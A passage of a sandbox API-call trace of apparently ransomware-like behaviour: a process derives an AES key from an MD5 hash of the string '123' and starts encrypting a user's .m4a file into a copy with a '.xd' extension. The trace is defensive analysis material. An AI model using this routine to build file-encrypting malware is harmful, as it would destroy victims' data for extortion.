lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.824] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.824] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.825] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.825] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629450, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629450*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.825] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.825] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.825] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.825] CloseHandle (hObject=0x0) returned 0 [0063.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.825] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.825] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.825] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.825] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.826] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.826] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.826] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.826] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.826] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.826] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.826] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.826] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.826] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.826] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.826] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.826] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.826] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.826] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.826] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.827] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.827] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab880) returned 1 [0063.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.828] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.828] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.828] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.828] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.828] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.829] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.829] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.829] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.829] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.829] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.829] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.829] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.829] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.829] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.829] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.829] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.829] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.829] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.829] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.829] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.829] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.829] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621570, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.830] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.830] CryptCreateHash (in: hProv=0x17ab880, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.830] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.830] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.831] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.831] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.831] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.831] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.831] CryptHashData (hHash=0x164c830, pbData=0x1629590, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.831] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.832] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.832] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.832] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.832] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.832] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621690, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.833] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.833] CryptDeriveKey (in: hProv=0x17ab880, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0063.833] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.833] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.833] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.833] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.833] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.833] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.833] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.833] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.833] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.833] CryptDestroyHash (hHash=0x164c830) returned 1 [0063.833] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.834] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.834] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.834] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\qwrqhmpb38jt biyj5h.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.834] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.834] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.834] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.834] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.834] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.834] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht")) returned 0x10 [0063.835] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\qwrqhmpb38jt biyj5h.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.837] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.837] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x60ed, lpOverlapped=0x0) returned 1 [0063.838] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.841] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.841] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.841] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.841] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.841] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.841] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 